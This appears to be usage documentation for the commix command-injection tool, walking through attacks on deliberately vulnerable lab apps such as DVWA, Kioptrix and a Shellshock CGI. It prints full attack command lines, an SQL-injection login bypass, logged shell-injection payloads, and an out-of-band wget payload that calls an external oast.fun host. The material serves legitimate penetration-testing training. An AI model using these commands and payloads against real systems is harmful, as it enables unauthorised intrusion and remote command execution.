Usage examples

Commix offers comprehensive support for command injection exploitation across a wide range of backend technologies and web application environments. Its flexible payload generation and injection techniques enable it to target diverse server-side languages and frameworks, including but not limited to the most commonly used ones.

This broad compatibility allows penetration testers and security researchers to assess and exploit command injection vulnerabilities in applications developed with various programming languages and platforms, ensuring thorough and effective testing coverage.

• PHP - Classic and advanced injection scenarios in PHP applications, including cookie, header, and POST parameters.
• Python - Injection in Python-powered web services, including Flask, Django, and custom APIs.
• Perl - CGI and other Perl-based web services vulnerable to command injection.
• Ruby - Exploitation of Ruby web apps or services with injection points.
• CGI - Classic Common Gateway Interface scripts (any language) vulnerable to shell injection.
• GCH - Generic command handler-based injection points.
• ASP.NET (Experimental) - Emerging support for command injection in ASP.NET applications.
• JSP (Experimental) - Experimental handling of Java Server Pages environments.

This document presents a curated collection of commix usage examples targeting various intentionally vulnerable applications.

#	Target application	Description
1	Damn Vulnerable Web Application (DVWA)	A deliberately vulnerable PHP/MySQL web app designed to practice and test common web vulnerabilities, including command injection at various security levels.
2	php-Charts 1.0	An open-source PHP charting tool with a known command injection vulnerability via GET parameters that can be exploited with custom payload encapsulation.
3	OWASP Mutillidae	A free, open-source, deliberately vulnerable web app providing a wide range of vulnerabilities for learning purposes, including injection via POST parameters with customizable headers and proxy support.
4	Persistence	A vulnerable web application designed to demonstrate advanced command injection exploitation using alternative shell environments like Python.
5	Damn Vulnerable NodeJS Application	A Node.js-based vulnerable app used for learning, containing command injection flaws through POST parameters passed unsafely to system commands.
6	Kioptrix Level 1.1 (#2)	A vulnerable Linux virtual machine used for penetration testing practice, with command injection in authenticated POST requests.
7	Kioptrix 2014 (#5)	Another Kioptrix VM variant featuring command injection vulnerabilities exploitable through GET requests with header manipulation.
8	CVE-2014-6271 / Shellshock	A vulnerability affecting Bash shell that allows remote command execution via environment variables; exploitable on vulnerable CGI scripts and HTTP headers.
9	commix-testbed (cookie)	A controlled test environment provided by commix for experimenting with cookie-based command injection techniques.
10	commix-testbed (user-agent)	Part of the commix testbed simulating injection via the User-Agent HTTP header to demonstrate header-based command injection.
11	commix-testbed (referer)	Commix testbed scenario demonstrating command injection through the Referer HTTP header.
12	Flick 2	A vulnerable web application featuring injection points in custom HTTP headers, often used for testing Base64-encoded payloads and token authentication bypasses.
13	commix-testbed (JSON-based)	Commix testbed environment supporting testing of command injection in JSON-formatted HTTP request bodies.
14	Damn Vulnerable GraphQL Application	A deliberately vulnerable GraphQL API showcasing injection flaws in both mutations and queries, useful for security testing of modern API frameworks.
15	commix-testbed (XML-based)	Test environment designed to demonstrate command injection in XML payloads submitted via HTTP requests.
16	Damn Vulnerable Web Sockets	A vulnerable web application demonstrating command injection in services accessible only through WebSocket proxies, extending testing capabilities to real-time communication protocols.

Each example includes:

• A short explanation of the technique or scenario.
• The vulnerable target endpoint or parameter.
• The exact command used to exploit the vulnerability.

---

1. Damn Vulnerable Web Application

Command injection in vulnerabilities/exec/, through the ip parameter of the Ping a device form. The security level travels in the security cookie, next to the PHPSESSID of a logged-in session, so one command line serves every level - what changes is how much of the payload survives the application's filtering, and therefore which technique gets to prove the injection.

The runs below walk the levels in order. --flush-session is in each of them because the finding from the previous level would otherwise be resumed from the session file instead of tested again.

Low security: nothing is filtered. ;, && and | all chain a command of your own, so the parameter answers to every technique:

python commix.py --url="http://dvwa/vulnerabilities/exec/" \
--data="ip=127.0.0.1&Submit=Submit" \
--flush-session \
--cookie="security=low; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

[14:50:50] [info] Heuristic (basic) test shows that POST parameter 'ip' might be injectable (identified command shell: 'POSIX').
[14:50:50] [info] Testing the results-based classic command injection technique, please wait... (done)
[14:50:50] [info] Identified a potential injection point on POST parameter 'ip'.
[14:50:50] [info] Testing if the injection point is a false positive, please wait... (done)
[14:50:50] [info] POST parameter 'ip' appears to be injectable via results-based classic command injection technique.
[14:50:50] [warning] Time-related response comparison requires a larger statistical model, please wait................................. (done)
[14:50:51] [info] Testing the time-based blind command injection technique, please wait.... (done)
[14:50:56] [info] Identified a potential injection point on POST parameter 'ip'.
[14:50:56] [info] Testing if the injection point is a false positive, please wait......... (done)
[14:51:06] [info] POST parameter 'ip' appears to be injectable via time-based blind command injection technique.
[14:51:06] [info] Testing the file-based blind command injection technique, please wait...
Enter a writable directory to use for file operations (e.g. '/var/www/html/') /var/www/html/
[14:51:06] [info] Attempting to create a file in directory '/var/www/html/' for execution output.
Do you want to use a random file 'ZDLQRA.txt' to receive the execution output? [Y/n] Y
Do you want to use the URL 'http://dvwa/ZDLQRA.txt' to receive the execution output? [Y/n] Y
[14:51:06] [info] Continuing with the file-based blind command injection technique, please wait... (done)
[14:51:06] [info] Identified a potential injection point on POST parameter 'ip'.
[14:51:06] [info] Testing if the injection point is a false positive, please wait... (done)
[14:51:06] [info] POST parameter 'ip' appears to be injectable via file-based blind command injection technique.
POST parameter 'ip' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
Identified the following injection point(s):
'ip' (POST):
  * Technique: Results-based
  * Type: Classic command injection
  * Payload: TBK;echo LREPTF$((65+34))$(echo LREPTF)LREPTF;
  * Technique: Time-based
  * Type: Blind command injection
  * Payload: TBK;XSO=$(echo XBFRJB);XSO1=${#XSO};sleep $((5*(6==$XSO1)));
  * Technique: File-based
  * Type: Blind command injection
  * Payload: TBK;echo ZDLQRA >/var/www/html/ZDLQRA.txt;
[14:51:06] [info] Files left behind: /var/www/html/ZDLQRA.txt.
[14:51:06] [info] Re-run with the '--os-shell' switch to access a command shell.

Medium security: ; and && are removed from the parameter before it reaches the shell. A single & is not, so the classic technique carries on with that separator, while the two that follow it fall back to |:

python commix.py --url="http://dvwa/vulnerabilities/exec/" \
--data="ip=127.0.0.1&Submit=Submit" \
--flush-session \
--cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

[14:52:06] [info] Heuristic (basic) test shows that POST parameter 'ip' might be injectable (identified command shell: 'POSIX').
[14:52:06] [info] Testing the results-based classic command injection technique, please wait.... (done)
[14:52:06] [info] Identified a potential injection point on POST parameter 'ip'.
[14:52:06] [info] Testing if the injection point is a false positive, please wait... (done)
[14:52:06] [info] POST parameter 'ip' appears to be injectable via results-based classic command injection technique.
[14:52:06] [warning] Time-related response comparison requires a larger statistical model, please wait................................. (done)
[14:52:07] [info] Testing the time-based blind command injection technique, please wait...... (done)
[14:52:12] [info] Identified a potential injection point on POST parameter 'ip'.
[14:52:12] [info] Testing if the injection point is a false positive, please wait........ (done)
[14:52:22] [info] POST parameter 'ip' appears to be injectable via time-based blind command injection technique.
[14:52:22] [info] Testing the file-based blind command injection technique, please wait...
Enter a writable directory to use for file operations (e.g. '/var/www/html/') /var/www/html/
[14:52:22] [info] Attempting to create a file in directory '/var/www/html/' for execution output.
Do you want to use a random file 'DPYMEW.txt' to receive the execution output? [Y/n] Y
Do you want to use the URL 'http://dvwa/DPYMEW.txt' to receive the execution output? [Y/n] Y
[14:52:22] [info] Continuing with the file-based blind command injection technique, please wait... (done)
[14:52:22] [info] Identified a potential injection point on POST parameter 'ip'.
[14:52:22] [info] Testing if the injection point is a false positive, please wait... (done)
[14:52:22] [info] POST parameter 'ip' appears to be injectable via file-based blind command injection technique.
POST parameter 'ip' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
Identified the following injection point(s):
'ip' (POST):
  * Technique: Results-based
  * Type: Classic command injection
  * Payload: OMD&echo XOTASA$((98+14))$(echo XOTASA)XOTASA&
  * Technique: Time-based
  * Type: Blind command injection
  * Payload: OMD|[ 6 -ne $(printf '%s' "SEXFOC" | wc -c) ]||sleep 5|:
  * Technique: File-based
  * Type: Blind command injection
  * Payload: OMD|echo DPYMEW >/var/www/html/DPYMEW.txt|:
[14:52:22] [info] Files left behind: /var/www/html/DPYMEW.txt.
[14:52:22] [info] Re-run with the '--os-shell' switch to access a command shell.

High security: the blacklist now takes &, ;, ||, `, -, $, (, ) and | followed by a space. A bare | still chains, but a payload that reads its own output back cannot be written without $( and ), so the classic and time-based ones are filtered down to something the shell no longer executes - the heuristic test says as much before either is tried. What survives the blacklist is echo, a redirect and a path, which is exactly the file-based payload, and the same command line falls through to it on its own. The only answer it needs is the writable directory, offered as /var/www/html/ already:

python commix.py --url="http://dvwa/vulnerabilities/exec/" \
--data="ip=127.0.0.1&Submit=Submit" \
--flush-session \
--cookie="security=high; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

[14:53:58] [warning] Heuristic (basic) test shows that POST parameter 'ip' might not be injectable.
[14:53:58] [info] Testing the results-based classic command injection technique, please wait......... (done)
[14:53:58] [warning] Time-related response comparison requires a larger statistical model, please wait................................. (done)
[14:53:59] [info] Testing the time-based blind command injection technique, please wait.........
[14:53:59] [info] Testing the file-based blind command injection technique, please wait...
Enter a writable directory to use for file operations (e.g. '/var/www/html/') /var/www/html/
[14:53:59] [info] Attempting to create a file in directory '/var/www/html/' for execution output.
Do you want to use a random file 'WOBXMR.txt' to receive the execution output? [Y/n] Y
Do you want to use the URL 'http://dvwa/WOBXMR.txt' to receive the execution output? [Y/n] Y
[14:53:59] [info] Continuing with the file-based blind command injection technique, please wait..... (done)
[14:53:59] [info] Identified a potential injection point on POST parameter 'ip'.
[14:53:59] [info] Testing if the injection point is a false positive, please wait... (done)
[14:53:59] [info] POST parameter 'ip' appears to be injectable via file-based blind command injection technique.
POST parameter 'ip' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
Identified the following injection point with a total of 110 HTTP(S) requests:
'ip' (POST):
  * Technique: File-based
  * Type: Blind command injection
  * Payload: YIJ|echo WOBXMR >/var/www/html/WOBXMR.txt|:
[14:53:59] [info] Files left behind: /var/www/html/WOBXMR.txt.
[14:53:59] [info] Re-run with the '--os-shell' switch to access a command shell.

Naming the technique that works (--technique=f) and the directory it writes into (--web-root="/var/www/html/") finds the same thing for fewer requests - 45 instead of 110 - by not spending any on the two techniques this level defeats.

---

2. php-Charts 1.0

GET-based parameter injection with custom prefix / suffix. This example demonstrates injection via a vulnerable type parameter using custom payload encapsulation to bypass basic filtering.

python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=test" \
--prefix="'" \
--suffix="//"

---

3. OWASP Mutillidae

POST parameter in DNS lookup feature, with custom headers and proxy. This example uses commix to inject via target_host while supplying additional headers and routing traffic through a proxy (e.g., Burp Suite).

python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" \
--data="target_host=127.0.0.1" \
--headers="Accept-Language:fr\nETag:123\n" \
--proxy="127.0.0.1:8081"

---

4. Persistence

Command injection in debug.php, using an alternative interpreter. Commix can build its payloads with an alternative interpreter for stable exploitation; here, Python is used for environments where bash or sh are not suitable.

python commix.py --url="http://192.168.178.8/debug.php" \
--data="addr=127.0.0.1" \
--interpreter="Python"

---

5. Damn Vulnerable NodeJS Application

Command injection in address parameter via NodeJS endpoint. This POST-based injection targets Node.js backends that may pass input directly to shell commands.

python commix.py --url="http://127.0.0.1:9090/app/ping" \
--data "address=127.0.0.1" \
--cookie="connect.sid=s%3AIdvte5ieuGQC5C8jt5aSyUTSF8xZtls8.3fwCVsyypx%2BLGXtiF1JTBrqbmjp%2B29vwKoL0uxcHub8"

---

6. Kioptrix: Level 1.1 (#2)

POST injection after authentication bypass. This command demonstrates how commix can handle session-based injections, including logging in via --auth-url before attacking.

python commix.py --url="http://192.168.178.2/pingit.php" \
--data="ip=127.0.0.1E&submit=submit" \
--auth-url="http://192.168.178.2/index.php" \
--auth-data="uname=admin&psw=%27+OR+1%3D1--+-&btnLogin=Login"

---

7. Kioptrix: 2014 (#5)

GET injection with custom User-Agent and specific technique. This command uses a forged User-Agent header and a specific technique (--technique="f") against drawimage.php.

python commix.py --url="http://192.168.178.6:8080/phptax/drawimage.php?pfilez=127.0.0.1&pdf=make" \
--user-agent="Mozilla/4.0 Mozilla4_browser" \
--technique="f" \
--web-root="/"

---

8. CVE-2014-6271/Shellshock:

Shellshock-vulnerable CGI endpoint

Commix can directly exploit Bash environment variable injection vulnerabilities (commonly known as Shellshock) using the --shellshock switch. This allows detection and exploitation of affected targets by injecting payloads through vulnerable HTTP headers or parameters that influence Bash environment variables.

python commix.py --url="http://192.168.178.4/cgi-bin/status/" --shellshock

---

9. commix-testbed (cookie)

Commix supports exploiting command injection vulnerabilities through Cookie parameters. This example focuses on the addr cookie value for injection.

python commix.py --url="http://commix-testbed/scenarios/cookie/cookie(classic).php" \
--level=2 \
--cookie="addr=127.0.0.1"

---

10. Example against commix-testbed (user-agent)

This example demonstrates exploiting a classic injection vulnerability in the User-Agent header by specifying the injection point with the -p user-agent flag. The --level=3 option increases the number of tests and payloads to improve detection accuracy.

python commix.py --url="http://commix-testbed/scenarios/user-agent/ua(classic).php" \
--level=3 \
-p user-agent

---

11. commix-testbed (referer)

This example demonstrates exploiting a classic injection vulnerability in the Referer header by specifying the injection point with the -p referer flag. The --level=3 option increases the number of tests and payloads to improve detection accuracy.

python commix.py --url="http://commix-testbed/scenarios/referer/referer(classic).php" \
--level=3 \
-p referer

---

12. Flick 2

Commix supports injecting payloads into custom HTTP headers, including authentication headers, with optional Base64 encoding. This is especially useful when testing APIs or services that require token-based authentication and expect Base64-encoded data in headers.

python commix.py --url="https://192.168.2.12/do/cmd/*" \
--headers="X-UUID:commix\nX-Token:dTGzPdMJlOoR3CqZJy7oX9JU72pvwNEF" \
--tamper=base64encode

---

13. commix-testbed (JSON-based):

Commix automatically detects JSON content in the request body and targets specified fields for injection. In this example, the addr field within the JSON payload is modified to exploit command injection vulnerabilities.

python commix.py --url="http://commix-testbed/scenarios/regular/POST/classic_json.php" \
--data='{"addr":"127.0.0.1","name":"ancst"}'

---

14. Damn Vulnerable GraphQL Application

Commix supports detecting and exploiting command injection vulnerabilities within GraphQL mutations and queries by injecting payloads into parameters embedded in the GraphQL request body.

In following both cases, commix parses the JSON payload and injects malicious commands into the specified GraphQL parameters to test and exploit command injection flaws.

1. ImportPaste Mutation Injection: Example of exploiting injection via a GraphQL mutation.

python commix.py --url="http://127.0.0.1:5000/graphql" \
--data='{"query":"mutation{importPaste(host:\"commixproject.com\" , port:80 , path:\"/\" , scheme:\"http\"){result}}"}'

2. systemDiagnostics Query Injection: Example of targeting a vulnerable GraphQL query, injecting into the cmd parameter.

python commix.py --url="http://127.0.0.1:5000/graphql" \
--data='{"query":"query {systemDiagnostics(username:\"admin\" , password:\"admin123\" , cmd:\"test\")}"}' \
-p cmd

---

15. commix-testbed (XML-based)

Commix supports injecting payloads into XML data sent in the request body. This example targets the addr element within the XML structure, which is vulnerable to command injection.

python commix.py --url="http://commix-testbed/scenarios/regular/POST/classic_xml.php" \
--data='<?xml version="1.0" encoding="UTF-8"?><ping><addr>127.0.0.1</addr><count>4</count></ping>'

---

16. Damn Vulnerable Web Sockets

Commix can exploit command injection vulnerabilities in backends accessible only through WebSocket proxies. This method enables testing and exploitation in scenarios where direct HTTP access to the backend is unavailable, but traffic is proxied via WebSocket connections. By bridging traditional HTTP injection techniques with WebSocket communication, commix broadens the attack surface for modern web applications.

This setup requires an HTTP-to-WebSocket proxy that forwards HTTP requests to the WebSocket application, facilitating seamless injection testing over WebSocket protocols.

1. Run the HTTP2WebSocket listener on port 3333 to proxy requests to the WebSocket app at ws://dvws.local:8080:

python HTTP2WebSocket.py -l 3333 -t ws://dvws.local:8080

2. Once the HTTP-to-WebSocket proxy is established and listening on the specified port, commix sends its injection payloads to the proxied HTTP endpoint. By modifying parameters such as addr in the POST data, commix leverages the proxy to interact with the WebSocket-connected backend, triggering command injection vulnerabilities.

python commix.py --url="http://127.0.0.1:3333/command-execution" \
--data="addr=127.0.0.1"

---

17. commix-testbed (out-of-band)

Where the target returns nothing useful and never delays, execution can still be proven through a channel other than the HTTP response. With --oob, commix registers with an interactsh server, injects a payload that makes the target reach that server, and treats the arriving interaction as the proof. This detects injection points that the results-based and time-based techniques both miss, and it costs no response delay, so it is markedly faster than blind timing.

python commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" \
--data="addr=127.0.0.1" --oob

Output:

[09:34:04] [info] Setting POST parameter 'addr' for tests.
[09:34:04] [info] Performing heuristic (basic) test on the POST parameter 'addr'.
[09:34:06] [info] Using out-of-band 'oast.fun' interactsh server. Use '--oob-server' for a self-hosted one.
[09:34:11] [info] Heuristic (basic) test shows that POST parameter 'addr' might be injectable (identified command shell: 'POSIX').
[09:34:11] [info] Testing the out-of-band blind command injection technique, please wait...... (done)
[09:34:23] [info] POST parameter 'addr' appears to be injectable via out-of-band (HTTPS) blind command injection technique.
POST parameter 'addr' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
Identified the following injection point with a total of 12 HTTP(S) requests:
'addr' (POST):
  * Technique: Out-of-band (HTTPS)
  * Type: Blind command injection
  * Payload: DDM;wget -qO- https://s43o1hxvenmafqna7iyj8l46gv6mkprhw.oast.fun/DXKXBC$((1482+2187))DXKXBC;
[09:34:24] [info] Re-run with the '--os-shell' switch to access a command shell.

Note

• The public oast.fun server is used by default; point --oob-server at a self-hosted interactsh instance (with --oob-token, if it requires one) to keep interactions off a third party.
• --oob-transport=dns falls back to a name lookup where the target has no outbound HTTP(S) egress but its resolver still reaches the internet. See Techniques for how output is recovered over each transport.